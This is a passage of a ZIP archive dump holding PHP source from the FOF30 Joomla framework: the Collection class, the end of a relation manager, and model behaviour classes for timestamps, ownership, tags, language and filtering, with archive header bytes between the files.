$relations[$key] = clone($relation); $relations[$key]->reset(); } } $this->relations = $relations; } /** * Rebase a relation manager * * @param DataModel $parentModel */ public function rebase(DataModel $parentModel) { $this->parentModel = $parentModel; if (count($this->relations)) { foreach ($this->relations as $name => $relation) { /** @var Relation $relation */ $relation->rebase($parentModel); } } } /** * Populates the internal $this->data collection of a relation from the contents of the provided collection. This is * used by DataModel to push the eager loaded data into each item's relation. * * @param string $name Relation name * @param Collection $data The relation data to push into this relation * @param mixed $keyMap Used by many-to-many relations to pass around the local to foreign key map * * @return void * * @throws Relation\Exception\RelationNotFound */ public function setDataFromCollection($name, Collection &$data, $keyMap = null) { if (!isset($this->relations[$name])) { throw new DataModel\Relation\Exception\RelationNotFound("Relation '$name' not found"); } $this->relations[$name]->setDataFromCollection($data, $keyMap); } /** * Adds a relation to the relation manager * * @param string $name The name of the relation as known to this relation manager, e.g. 'phone' * @param string $type The relation type, e.g. 'hasOne' * @param string $foreignModelName The name of the foreign key's model in the format "modelName@com_something" * @param string $localKey The local table key for this relation * @param string $foreignKey The foreign key for this relation * @param string $pivotTable For many-to-many relations, the pivot (glue) table * @param string $pivotLocalKey For many-to-many relations, the pivot table's column storing the local key * @param string $pivotForeignKey For many-to-many relations, the pivot table's column storing the foreign key * * @return DataModel The parent model, for chaining * * @throws Relation\Exception\RelationTypeNotFound when $type is not known * @throws Relation\Exception\ForeignModelNotFound when $foreignModelClass doesn't exist */ public function addRelation($name, $type, $foreignModelName = null, $localKey = null, $foreignKey = null, $pivotTable = null, $pivotLocalKey = null, $pivotForeignKey = null) { if (!isset(static::$relationTypes[$type])) { throw new DataModel\Relation\Exception\RelationTypeNotFound("Relation type '$type' not found"); } // Guess the foreign model class if necessary if (empty($foreignModelName)) { $foreignModelName = ucfirst($name); } $className = static::$relationTypes[$type]; /** @var Relation $relation */ $relation = new $className($this->parentModel, $foreignModelName, $localKey, $foreignKey, $pivotTable, $pivotLocalKey, $pivotForeignKey); $this->relations[$name] = $relation; return $this->parentModel; } /** * Removes a known relation * * @param string $name The name of the relation to remove * * @return DataModel The parent model, for chaining */ public function removeRelation($name) { if (isset($this->relations[$name])) { unset ($this->relations[$name]); } return $this->parentModel; } /** * Removes all known relations */ public function resetRelations() { $this->relations = []; } /** * Resets the data of all relations in this manager. This doesn't remove relations, just their data so that they * get loaded again. * * @param array $relationsToReset The names of the relations to reset. Pass an empty array (default) to reset * all relations. */ public function resetRelationData(array $relationsToReset = []) { /** @var Relation $relation */ foreach ($this->relations as $name => $relation) { if (!empty($relationsToReset) && !in_array($name, $relationsToReset)) { continue; } $relation->reset(); } } /** * Returns a list of all known relations' names * * @return array */ public function getRelationNames() { return array_keys($this->relations); } /** * Gets the related items of a relation * * @param string $name The name of the relation to return data for * * @return Relation * * @throws Relation\Exception\RelationNotFound */ public function &getRelation($name) { if (!isset($this->relations[$name])) { throw new DataModel\Relation\Exception\RelationNotFound("Relation '$name' not found"); } return $this->relations[$name]; } /** * Get a new related item which satisfies relation $name and adds it to this relation's data list. * * @param string $name The relation based on which a new item is returned * * @return DataModel * * @throws Relation\Exception\RelationNotFound */ public function getNew($name) { if (!isset($this->relations[$name])) { throw new DataModel\Relation\Exception\RelationNotFound("Relation '$name' not found"); } return $this->relations[$name]->getNew(); } /** * Saves all related items belonging to the specified relation or, if $name is null, all known relations which * support saving. * * @param null|string $name The relation to save, or null to save all known relations * * @return DataModel The parent model, for chaining * * @throws Relation\Exception\RelationNotFound */ public function save($name = null) { if (is_null($name)) { foreach ($this->relations as $name => $relation) { try { $relation->saveAll(); } catch (DataModel\Relation\Exception\SaveNotSupported $e) { // We don't care if a relation doesn't support saving } } } else { if (!isset($this->relations[$name])) { throw new DataModel\Relation\Exception\RelationNotFound("Relation '$name' not found"); } $this->relations[$name]->saveAll(); } return $this->parentModel; } /** * Gets the related items of a relation * * @param string $name The name of the relation to return data for * @param callable $callback A callback to customise the returned data * @param \FOF30\Utils\Collection $dataCollection Used when fetching the data of an eager loaded relation * * @return Collection|DataModel * * @throws Relation\Exception\RelationNotFound * @see Relation::getData() * */ public function getData($name, $callback = null, \FOF30\Utils\Collection $dataCollection = null) { if (!isset($this->relations[$name])) { throw new DataModel\Relation\Exception\RelationNotFound("Relation '$name' not found"); } return $this->relations[$name]->getData($callback, $dataCollection); } /** * Gets the foreign key map of a many-to-many relation * * @param string $name The name of the relation to return data for * * @return array * * @throws Relation\Exception\RelationNotFound */ public function &getForeignKeyMap($name) { if (!isset($this->relations[$name])) { throw new DataModel\Relation\Exception\RelationNotFound("Relation '$name' not found"); } return $this->relations[$name]->getForeignKeyMap(); } /** * Returns the count sub-query for a relation, used for relation filters (whereHas in the DataModel). * * @param string $name The relation to get the sub-query for * @param string $tableAlias The alias to use for the local table * * @return JDatabaseQuery * @throws Relation\Exception\RelationNotFound */ public function getCountSubquery($name, $tableAlias = null) { if (!isset($this->relations[$name])) { throw new DataModel\Relation\Exception\RelationNotFound("Relation '$name' not found"); } return $this->relations[$name]->getCountSubquery($tableAlias); } /** * A magic method which allows us to define relations using shorthand notation, e.g. $manager->hasOne('phone') * instead of $manager->addRelation('phone', 'hasOne') * * You can also use it to get data of a relation using shorthand notation, e.g. $manager->getPhone($callback) * instead of $manager->getData('phone', $callback); * * @param string $name The magic method to call * @param array $arguments The arguments to the magic method * * @return DataModel The parent model, for chaining * * @throws InvalidArgumentException * @throws DataModel\Relation\Exception\RelationTypeNotFound */ function __call($name, $arguments) { $numberOfArguments = count($arguments); if (isset(static::$relationTypes[$name])) { if ($numberOfArguments == 1) { return $this->addRelation($arguments[0], $name); } elseif ($numberOfArguments == 2) { return $this->addRelation($arguments[0], $name, $arguments[1]); } elseif ($numberOfArguments == 3) { return $this->addRelation($arguments[0], $name, $arguments[1], $arguments[2]); } elseif ($numberOfArguments == 4) { return $this->addRelation($arguments[0], $name, $arguments[1], $arguments[2], $arguments[3]); } elseif ($numberOfArguments == 5) { return $this->addRelation($arguments[0], $name, $arguments[1], $arguments[2], $arguments[3], $arguments[4]); } elseif ($numberOfArguments == 6) { return $this->addRelation($arguments[0], $name, $arguments[1], $arguments[2], $arguments[3], $arguments[4], $arguments[5]); } elseif ($numberOfArguments >= 7) { return $this->addRelation($arguments[0], $name, $arguments[1], $arguments[2], $arguments[3], $arguments[4], $arguments[5], $arguments[6]); } else { throw new InvalidArgumentException("You can not create an unnamed '$name' relation"); } } elseif (substr($name, 0, 3) == 'get') { $relationName = substr($name, 3); $relationName = strtolower($relationName[0]) . substr($relationName, 1); if ($numberOfArguments == 0) { return $this->getData($relationName); } elseif ($numberOfArguments == 1) { return $this->getData($relationName, $arguments[0]); } elseif ($numberOfArguments == 2) { return $this->getData($relationName, $arguments[0], $arguments[1]); } else { throw new InvalidArgumentException("Invalid number of arguments getting data for the '$relationName' relation"); } } // Throw an exception otherwise throw new DataModel\Relation\Exception\RelationTypeNotFound("Relation type '$name' not known to relation manager"); } /** * Is $name a magic-callable method? * * @param string $name The name of a potential magic-callable method * * @return bool */ public function isMagicMethod($name) { if (isset(static::$relationTypes[$name])) { return true; } elseif (substr($name, 0, 3) == 'get') { $relationName = substr($name, 3); $relationName = strtolower($relationName[0]) . substr($relationName, 1); if (isset($this->relations[$relationName])) { return true; } } return false; } /** * Is $name a magic property? Corollary: returns true if a relation of this name is known to the relation manager. * * @param string $name The name of a potential magic property * * @return bool */ public function isMagicProperty($name) { return isset($this->relations[$name]); } /** * Magic method to get the data of a relation using shorthand notation, e.g. $manager->phone instead of * $manager->getData('phone') * * @param $name * * @return Collection */ function __get($name) { return $this->getData($name); } } PK���\������$fof30/Model/DataModel/Collection.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel; defined('_JEXEC') || die; use FOF30\Model\DataModel; use FOF30\Utils\Collection as BaseCollection; /** * A collection of data models. You can enumerate it like an array, use it everywhere a collection is expected (e.g. a * foreach loop) and even implements a countable interface. You can also batch-apply DataModel methods on it thanks to * its magic __call() method, hence the type-hinting below. * * @method void setFieldValue(string $name, mixed $value = '') * @method void archive() * @method void save(mixed $data, string $orderingFilter = '', bool $ignore = null) * @method void push(mixed $data, string $orderingFilter = '', bool $ignore = null, array $relations = null) * @method void bind(mixed $data, array $ignore = []) * @method void check() * @method void reorder(string $where = '') * @method void delete(mixed $id = null) * @method void trash(mixed $id) * @method void forceDelete(mixed $id = null) * @method void lock(int $userId = null) * @method void move(int $delta, string $where = '') * @method void publish() * @method void restore(mixed $id) * @method void touch(int $userId = null) * @method void unlock() * @method void unpublish() */ class Collection extends BaseCollection { /** * Find a model in the collection by key. * * @param mixed $key * @param mixed $default * * @return DataModel */ public function find($key, $default = null) { if ($key instanceof DataModel) { $key = $key->getId(); } return array_first($this->items, function ($itemKey, $model) use ($key) { /** @var DataModel $model */ return $model->getId() == $key; }, $default); } /** * Remove an item in the collection by key * * @param mixed $key * * @return void */ public function removeById($key) { if ($key instanceof DataModel) { $key = $key->getId(); } $index = array_search($key, $this->modelKeys()); if ($index !== false) { unset($this->items[$index]); } } /** * Add an item to the collection. * * @param mixed $item * * @return Collection */ public function add($item) { $this->items[] = $item; return $this; } /** * Determine if a key exists in the collection. * * @param mixed $key * * @return bool */ public function contains($key) { return !is_null($this->find($key)); } /** * Fetch a nested element of the collection. * * @param string $key * * @return Collection */ public function fetch($key) { return new static(array_fetch($this->toArray(), $key)); } /** * Get the max value of a given key. * * @param string $key * * @return mixed */ public function max($key) { return $this->reduce(function ($result, $item) use ($key) { return (is_null($result) || $item->{$key} > $result) ? $item->{$key} : $result; }); } /** * Get the min value of a given key. * * @param string $key * * @return mixed */ public function min($key) { return $this->reduce(function ($result, $item) use ($key) { return (is_null($result) || $item->{$key} < $result) ? $item->{$key} : $result; }); } /** * Get the array of primary keys * * @return array */ public function modelKeys() { return array_map( function ($m) { /** @var DataModel $m */ return $m->getId(); }, $this->items); } /** * Merge the collection with the given items. * * @param BaseCollection|array $collection * * @return BaseCollection */ public function merge($collection) { $dictionary = $this->getDictionary($this); foreach ($collection as $item) { $dictionary[$item->getId()] = $item; } return new static(array_values($dictionary)); } /** * Diff the collection with the given items. * * @param BaseCollection|array $collection * * @return BaseCollection */ public function diff($collection) { $diff = new static; $dictionary = $this->getDictionary($collection); foreach ($this->items as $item) { /** @var DataModel $item */ if (!isset($dictionary[$item->getId()])) { $diff->add($item); } } return $diff; } /** * Intersect the collection with the given items. * * @param BaseCollection|array $collection * * @return Collection */ public function intersect($collection) { $intersect = new static; $dictionary = $this->getDictionary($collection); foreach ($this->items as $item) { /** @var DataModel $item */ if (isset($dictionary[$item->getId()])) { $intersect->add($item); } } return $intersect; } /** * Return only unique items from the collection. * * @return BaseCollection */ public function unique() { $dictionary = $this->getDictionary($this); return new static(array_values($dictionary)); } /** * Get a base Support collection instance from this collection. * * @return BaseCollection */ public function toBase() { return new BaseCollection($this->items); } /** * Magic method which allows you to run a DataModel method to all items in the collection. * * For example, you can do $collection->save('foobar' => 1) to update the 'foobar' column to 1 across all items in * the collection. * * IMPORTANT: The return value of the method call is not returned back to you! * * @param string $name The method to call * @param array $arguments The arguments to the method */ public function __call($name, $arguments) { if (!count($this)) { return; } $class = get_class($this->first()); if (method_exists($class, $name)) { foreach ($this as $item) { switch (count($arguments)) { case 0: $item->$name(); break; case 1: $item->$name($arguments[0]); break; case 2: $item->$name($arguments[0], $arguments[1]); break; case 3: $item->$name($arguments[0], $arguments[1], $arguments[2]); break; case 4: $item->$name($arguments[0], $arguments[1], $arguments[2], $arguments[3]); break; case 5: $item->$name($arguments[0], $arguments[1], $arguments[2], $arguments[3], $arguments[4]); break; case 6: $item->$name($arguments[0], $arguments[1], $arguments[2], $arguments[3], $arguments[4], $arguments[5]); break; default: call_user_func_array([$item, $name], $arguments); break; } } } } /** * Get a dictionary keyed by primary keys. * * @param BaseCollection $collection * * @return array */ protected function getDictionary($collection) { $dictionary = []; foreach ($collection as $value) { $dictionary[$value->getId()] = $value; } return $dictionary; } } PK���\d��A��,fof30/Model/DataModel/Behaviour/Modified.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Behaviour; defined('_JEXEC') || die; use FOF30\Event\Observer; use FOF30\Model\DataModel; use stdClass; /** * FOF model behavior class to updated the modified_by and modified_on fields on newly created records. * * This behaviour is added to DataModel by default. If you want to remove it you need to do * $this->behavioursDispatcher->removeBehaviour('Modified'); * * @since 3.0 */ class Modified extends Observer { /** * Add the modified_on and modified_by fields in the fieldsSkipChecks list of the model. We expect them to be empty * so that we can fill them in through this behaviour. * * @param DataModel $model */ public function onBeforeCheck(&$model) { $model->addSkipCheckField('modified_on'); $model->addSkipCheckField('modified_by'); } /** * @param DataModel $model * @param stdClass $dataObject */ public function onBeforeUpdate(&$model, &$dataObject) { // Make sure we're not modifying a locked record $userId = $model->getContainer()->platform->getUser()->id; $isLocked = $model->isLocked($userId); if ($isLocked) { return; } // Handle the modified_on field if ($model->hasField('modified_on')) { $model->setFieldValue('modified_on', $model->getContainer()->platform->getDate()->toSql(false, $model->getDbo())); $modifiedOnField = $model->getFieldAlias('modified_on'); $dataObject->$modifiedOnField = $model->getFieldValue('modified_on'); } // Handle the modified_by field if ($model->hasField('modified_by')) { $model->setFieldValue('modified_by', $userId); $modifiedByField = $model->getFieldAlias('modified_by'); $dataObject->$modifiedByField = $model->getFieldValue('modified_by'); } } } PK���\w����(fof30/Model/DataModel/Behaviour/Tags.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Behaviour; defined('_JEXEC') || die; use Exception; use FOF30\Event\Observable; use FOF30\Event\Observer; use FOF30\Model\DataModel; use Joomla\CMS\Helper\TagsHelper; use stdClass; /** * FOF model behavior class to add Joomla! Tags support * * @since 2.1 */ class Tags extends Observer { /** @var TagsHelper */ protected $tagsHelper; public function __construct(Observable &$subject) { parent::__construct($subject); $this->tagsHelper = new TagsHelper(); } /** * This event runs after unpublishing a record in a model * * @param DataModel &$model The model which calls this event * @param stdClass & $dataObject The data to bind to the form * * @return void */ public function onBeforeCreate(&$model, &$dataObject) { $tagField = $model->getBehaviorParam('tagFieldName', 'tags'); unset($dataObject->$tagField); } /** * This event runs after unpublishing a record in a model * * @param DataModel &$model The model which calls this event * @param stdClass & $dataObject The data to bind to the form * * @return void */ public function onBeforeUpdate(&$model, &$dataObject) { $tagField = $model->getBehaviorParam('tagFieldName', 'tags'); unset($dataObject->$tagField); } /** * The event which runs after binding data to the table * * @param DataModel &$model The model which calls this event * * @return void * * @throws Exception Error message if failed to store tags */ public function onAfterSave(&$model) { $tagField = $model->getBehaviorParam('tagFieldName', 'tags'); // Avoid to update on other method (e.g. publish, ...) if (!in_array($model->getContainer()->input->getCmd('task'), ['apply', 'save', 'savenew'])) { return; } $oldTags = $this->tagsHelper->getTagIds($model->getId(), $model->getContentType()); $newTags = $model->$tagField ? implode(',', $model->$tagField) : null; // If no changes, we stop here if ($oldTags == $newTags) { return; } // Check if the content type exists, and create it if it does not $model->checkContentType(); $this->tagsHelper->typeAlias = $model->getContentType(); if (!$this->tagsHelper->postStoreProcess($model, $model->$tagField)) { throw new Exception('Error storing tags'); } } /** * The event which runs after deleting a record * * @param DataModel &$model The model which calls this event * @param integer $oid The PK value of the record which was deleted * * @return void * * @throws Exception Error message if failed to delete tags */ public function onAfterDelete(&$model, $oid) { $this->tagsHelper->typeAlias = $model->getContentType(); if (!$this->tagsHelper->deleteTagData($model, $oid)) { throw new Exception('Error deleting Tags'); } } /** * This event runs after unpublishing a record in a model * * @param DataModel &$model The model which calls this event * @param mixed $data An associative array or object to bind to the DataModel instance. * * @return void */ public function onAfterBind(&$model, &$data) { $tagField = $model->getBehaviorParam('tagFieldName', 'tags'); if ($model->$tagField) { return; } $type = $model->getContentType(); $model->addKnownField($tagField); $model->$tagField = $this->tagsHelper->getTagIds($model->getId(), $type); } /** * This event runs after publishing a record in a model * * @param DataModel &$model The model which calls this event * * @return void */ public function onAfterPublish(&$model) { $model->updateUcmContent(); } /** * This event runs after unpublishing a record in a model * * @param DataModel &$model The model which calls this event * * @return void */ public function onAfterUnpublish(&$model) { $model->updateUcmContent(); } } PK���\3j��+fof30/Model/DataModel/Behaviour/Enabled.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Behaviour; defined('_JEXEC') || die; use FOF30\Event\Observer; use FOF30\Model\DataModel; use JDatabaseQuery; /** * FOF model behavior class to filter access to items based on the enabled status * * @since 2.1 */ class Enabled extends Observer { /** * This event runs before we have built the query used to fetch a record * list in a model. It is used to apply automatic query filters. * * @param DataModel &$model The model which calls this event * @param JDatabaseQuery &$query The query we are manipulating * * @return void */ public function onBeforeBuildQuery(&$model, &$query) { // Make sure the field actually exists if (!$model->hasField('enabled')) { return; } $fieldName = $model->getFieldAlias('enabled'); $db = $model->getDbo(); $model->whereRaw($db->qn($fieldName) . ' = ' . $db->q(1)); } /** * The event runs after DataModel has retrieved a single item from the database. It is used to apply automatic * filters. * * @param DataModel &$model The model which was called * @param Array &$keys The keys used to locate the record which was loaded * * @return void */ public function onAfterLoad(&$model, &$keys) { // Make sure we have a DataModel if (!($model instanceof DataModel)) { return; } // Make sure the field actually exists if (!$model->hasField('enabled')) { return; } // Filter by enabled status if (!$model->getFieldValue('enabled', 0)) { $model->reset(true); } } } PK���\`�s�AA9fof30/Model/DataModel/Behaviour/PageParametersToState.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Behaviour; defined('_JEXEC') || die; use FOF30\Event\Observer; use FOF30\Model\DataModel; use Joomla\CMS\Application\SiteApplication; use Joomla\CMS\Factory; use Joomla\Registry\Registry; /** * FOF model behavior class to populate the state with the front-end page parameters * * @since 2.1 */ class PageParametersToState extends Observer { public function onAfterConstruct(DataModel &$model) { // This only applies to the front-end if (!$model->getContainer()->platform->isFrontend()) { return; } // Get the page parameters /** @var SiteApplication $app */ $app = Factory::getApplication(); /** @var Registry|Registry $params */ $params = $app->getParams(); // Extract the page parameter keys $asArray = $params->toArray(); if (empty($asArray)) { // There are no keys; no point in going on. return; } $keys = array_keys($asArray); unset($asArray); // Loop all page parameter keys foreach ($keys as $key) { // This is the current model state $currentState = $model->getState($key); // This is the explicitly requested state in the input $explicitInput = $model->input->get($key, null, 'raw'); // If the current state is empty and there's no explicit input we'll use the page parameters instead if (is_null($currentState) && is_null($explicitInput)) { $model->setState($key, $params->get($key)); } } } } PK���\u!!+fof30/Model/DataModel/Behaviour/Created.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Behaviour; defined('_JEXEC') || die; use FOF30\Event\Observer; use FOF30\Model\DataModel; use stdClass; /** * FOF model behavior class to updated the created_by and created_on fields on newly created records. * * This behaviour is added to DataModel by default. If you want to remove it you need to do * $this->behavioursDispatcher->removeBehaviour('Created'); * * @since 3.0 */ class Created extends Observer { /** * Add the created_on and created_by fields in the fieldsSkipChecks list of the model. We expect them to be empty * so that we can fill them in through this behaviour. * * @param DataModel $model */ public function onBeforeCheck(&$model) { $model->addSkipCheckField('created_on'); $model->addSkipCheckField('created_by'); } /** * @param DataModel $model * @param stdClass $dataObject */ public function onBeforeCreate(&$model, &$dataObject) { // Handle the created_on field if ($model->hasField('created_on')) { $nullDate = $model->isNullableField('created_on') ? null : $model->getDbo()->getNullDate(); $created_on = $model->getFieldValue('created_on'); if (empty($created_on) || ($created_on == $nullDate)) { $model->setFieldValue('created_on', $model->getContainer()->platform->getDate()->toSql(false, $model->getDbo())); $createdOnField = $model->getFieldAlias('created_on'); $dataObject->$createdOnField = $model->getFieldValue('created_on'); } } // Handle the created_by field if ($model->hasField('created_by')) { $created_by = $model->getFieldValue('created_by'); if (empty($created_by)) { $model->setFieldValue('created_by', $model->getContainer()->platform->getUser()->id); $createdByField = $model->getFieldAlias('created_by'); $dataObject->$createdByField = $model->getFieldValue('created_by'); } } } } PK���\\w�E� � +fof30/Model/DataModel/Behaviour/Filters.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Behaviour; defined('_JEXEC') || die; use FOF30\Event\Observer; use FOF30\Model\DataModel; use JDatabaseQuery; use Joomla\Registry\Registry; class Filters extends Observer { /** * This event runs after we have built the query used to fetch a record * list in a model. It is used to apply automatic query filters. * * @param DataModel & $model The model which calls this event * @param JDatabaseQuery &$query The query we are manipulating * * @return void */ public function onAfterBuildQuery(&$model, &$query) { $tableKey = $model->getIdFieldName(); $db = $model->getDbo(); $fields = $model->getTableFields(); $blacklist = $model->getBlacklistFilters(); $filterZero = $model->getBehaviorParam('filterZero', null); $tableAlias = $model->getBehaviorParam('tableAlias', null); foreach ($fields as $fieldname => $fieldmeta) { if (in_array($fieldname, $blacklist)) { continue; } $fieldInfo = (object) [ 'name' => $fieldname, 'type' => $fieldmeta->Type, 'filterZero' => $filterZero, 'tableAlias' => $tableAlias, ]; $filterName = $fieldInfo->name; $filterState = $model->getState($filterName, null); // Special primary key handling: if ignore request is set we'll also look for an 'id' state variable if a // state variable by the same name as the key doesn't exist. If ignore request is not set in the model we // do not filter by 'id' since this interferes with going from an edit page to a browse page (the list is // filtered by id without user controls to unset it). if ($fieldInfo->name == $tableKey) { $filterState = $model->getState($filterName, null); if (!$model->getIgnoreRequest()) { continue; } if (empty($filterState)) { $filterState = $model->getState('id', null); } } $field = DataModel\Filter\AbstractFilter::getField($fieldInfo, ['dbo' => $db]); if (!is_object($field) || !($field instanceof DataModel\Filter\AbstractFilter)) { continue; } if ((is_array($filterState) && ( array_key_exists('value', $filterState) || array_key_exists('from', $filterState) || array_key_exists('to', $filterState) )) || is_object($filterState)) { $options = class_exists('JRegistry') ? new Registry($filterState) : new Registry($filterState); } else { $options = class_exists('JRegistry') ? new Registry() : new Registry(); $options->set('value', $filterState); } $methods = $field->getSearchMethods(); $method = $options->get('method', $field->getDefaultSearchMethod()); if (!in_array($method, $methods)) { $method = 'exact'; } switch ($method) { case 'between': case 'outside': case 'range' : $sql = $field->$method($options->get('from', null), $options->get('to', null), $options->get('include', false)); break; case 'interval': case 'modulo': $sql = $field->$method($options->get('value', null), $options->get('interval')); break; case 'search': $sql = $field->$method($options->get('value', null), $options->get('operator', '=')); break; case 'exact': case 'partial': default: $sql = $field->$method($options->get('value', null)); break; } if ($sql) { $query->where($sql); } } } } PK���\�����'fof30/Model/DataModel/Behaviour/Own.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Behaviour; defined('_JEXEC') || die; use FOF30\Event\Observer; use FOF30\Model\DataModel; use JDatabaseQuery; /** * FOF model behavior class to filter access to items owned by the currently logged in user only * * @since 2.1 */ class Own extends Observer { /** * This event runs after we have built the query used to fetch a record * list in a model. It is used to apply automatic query filters. * * @param DataModel &$model The model which calls this event * @param JDatabaseQuery &$query The query we are manipulating * * @return void */ public function onAfterBuildQuery(&$model, &$query) { // Make sure the field actually exists if (!$model->hasField('created_by')) { return; } // Get the current user's id $user_id = $model->getContainer()->platform->getUser()->id; // And filter the query output by the user id $db = $model->getContainer()->platform->getDbo(); $query->where($db->qn($model->getFieldAlias('created_by')) . ' = ' . $db->q($user_id)); } /** * The event runs after DataModel has retrieved a single item from the database. It is used to apply automatic * filters. * * @param DataModel &$model The model which was called * @param Array &$keys The keys used to locate the record which was loaded * * @return void */ public function onAfterLoad(&$model, &$keys) { // Make sure we have a DataModel if (!($model instanceof DataModel)) { return; } // Make sure the field actually exists if (!$model->hasField('created_by')) { return; } // Get the user $user_id = $model->getContainer()->platform->getUser()->id; $recordUser = $model->getFieldValue('created_by', null); // Filter by authorised access levels if ($recordUser != $user_id) { $model->reset(true); } } } PK���\ �e���2fof30/Model/DataModel/Behaviour/ContentHistory.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Behaviour; defined('_JEXEC') || die; use FOF30\Event\Observer; use FOF30\Model\DataModel; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Helper\ContentHistoryHelper; /** * FOF model behavior class to add Joomla! content history support * * @since 2.1 */ class ContentHistory extends Observer { /** @var ContentHistoryHelper */ protected $historyHelper; /** * The event which runs after storing (saving) data to the database * * @param DataModel &$model The model which calls this event * * @return boolean True to allow saving without an error */ public function onAfterSave(&$model) { $aliasParts = explode('.', $model->getContentType()); $model->checkContentType(); if (ComponentHelper::getParams($aliasParts[0])->get('save_history', 0)) { if (!$this->historyHelper) { $this->historyHelper = new ContentHistoryHelper($model->getContentType()); } $this->historyHelper->store($model); } return true; } /** * The event which runs before deleting a record * * @param DataModel &$model The model which calls this event * @param integer $oid The PK value of the record to delete * * @return boolean True to allow the deletion */ public function onBeforeDelete(&$model, $oid) { $aliasParts = explode('.', $model->getContentType()); if (ComponentHelper::getParams($aliasParts[0])->get('save_history', 0)) { if (!$this->historyHelper) { $this->historyHelper = new ContentHistoryHelper($model->getContentType()); } $this->historyHelper->deleteHistory($model); } return true; } /** * This event runs after publishing a record in a model * * @param DataModel &$model The model which calls this event * * @return void */ public function onAfterPublish(&$model) { $model->updateUcmContent(); } /** * This event runs after unpublishing a record in a model * * @param DataModel &$model The model which calls this event * * @return void */ public function onAfterUnpublish(&$model) { $model->updateUcmContent(); } } PK���\�* 0LL,fof30/Model/DataModel/Behaviour/Language.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Model\DataModel\Behaviour; defined('_JEXEC') || die; use FOF30\Event\Observer; use FOF30\Model\DataModel; use JDatabaseQuery; use Joomla\CMS\Application\SiteApplication; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\Registry\Registry; use PlgSystemLanguageFilter; /** * FOF model behavior class to filter front-end access to items * based on the language. * * @since 2.1 */ class Language extends Observer { /** @var PlgSystemLanguageFilter */ protected $lang_filter_plugin; /** * This event runs before we have built the query used to fetch a record * list in a model. It is used to blacklist the language filter * * @param DataModel &$model The model which calls this event * @param JDatabaseQuery &$query The model which calls this event * * @return void */ public function onBeforeBuildQuery(&$model, &$query) { if ($model->getContainer()->platform->isFrontend()) { $model->blacklistFilters('language'); } // Make sure the field actually exists AND we're not in CLI if (!$model->hasField('language') || $model->getContainer()->platform->isCli()) { return; } /** @var SiteApplication $app */ $app = Factory::getApplication(); $hasLanguageFilter = method_exists($app, 'getLanguageFilter'); if ($hasLanguageFilter) { $hasLanguageFilter = $app->getLanguageFilter(); } if (!$hasLanguageFilter) { return; } // Ask Joomla for the plugin only if we don't already have it. Useful for tests if (!$this->lang_filter_plugin) { $this->lang_filter_plugin = PluginHelper::getPlugin('system', 'languagefilter'); } $lang_filter_params = class_exists('JRegistry') ? new Registry($this->lang_filter_plugin->params) : new Registry($this->lang_filter_plugin->params); $languages = ['*']; if ($lang_filter_params->get('remove_default_prefix')) { // Get default site language $platform = $model->getContainer()->platform; $lg = $platform->getLanguage(); $languages[] = $lg->getTag(); } else { // We have to use JInput since the language fragment is not set in the $_REQUEST, thus we won't have it in our model // TODO Double check the previous assumption $languages[] = Factory::getApplication()->input->getCmd('language', '*'); } // Filter out double languages $languages = array_unique($languages); // And filter the query output by these languages $db = $model->getDbo(); $languages = array_map([$db, 'quote'], $languages); $fieldName = $model->getFieldAlias('language'); $model->whereRaw($db->qn($fieldName) . ' IN(' . implode(', ', $languages) . ')'); } /** * The event runs after DataModel has retrieved a single item from the database. It is used to apply automatic * filters. * * @param DataModel &$model The model which was called * @param Array &$keys The keys used to locate the record which was loaded * * @return void */ public function onAfterLoad(&$model, &$keys) { // Make sure we have a DataModel if (!($model instanceof DataModel)) { return; } // Make sure the field actually exists AND we're not in CLI if (!$model->hasField('language') || $model->getContainer()->platform->isCli()) { return; } // Make sure it is a multilingual site and get a list of languages /** @var SiteApplication $app */ $app = Factory::getApplication(); $hasLanguageFilter = method_exists($app, 'getLanguageFilter'); if ($hasLanguageFilter) { $hasLanguageFilter = $app->getLanguageFilter(); } if (!$hasLanguageFilter) { return; } // Ask Joomla for the plugin only if we don't already have it. Useful for tests if (!$this->lang_filter_plugin) { $this->lang_filter_plugin = PluginHelper::getPlugin('system', 'languagefilter'); } $lang_filter_params = class_exists('JRegistry') ? new Registry($this->lang_filter_plugin->params) : new Registry($this->lang_filter_plugin->params); $languages = ['*']; if ($lang_filter_params->get('remove_default_prefix')) { // Get default site language $lg = $model->getContainer()->platform->getLanguage(); $languages[] = $lg->getTag(); } else { $languages[] = Factory::getApplication()->input->getCmd('language', '*'); } // Filter out double languages $languages = array_unique($languages); // Filter by language if (!in_array($model->getFieldValue('language'), $languages)) { $model->reset(); } } } PK���\�]#��*fof30/Model/DataModel/Behaviour/Assets.phpnu&1i�<?php /** * @package FOF * @copyright 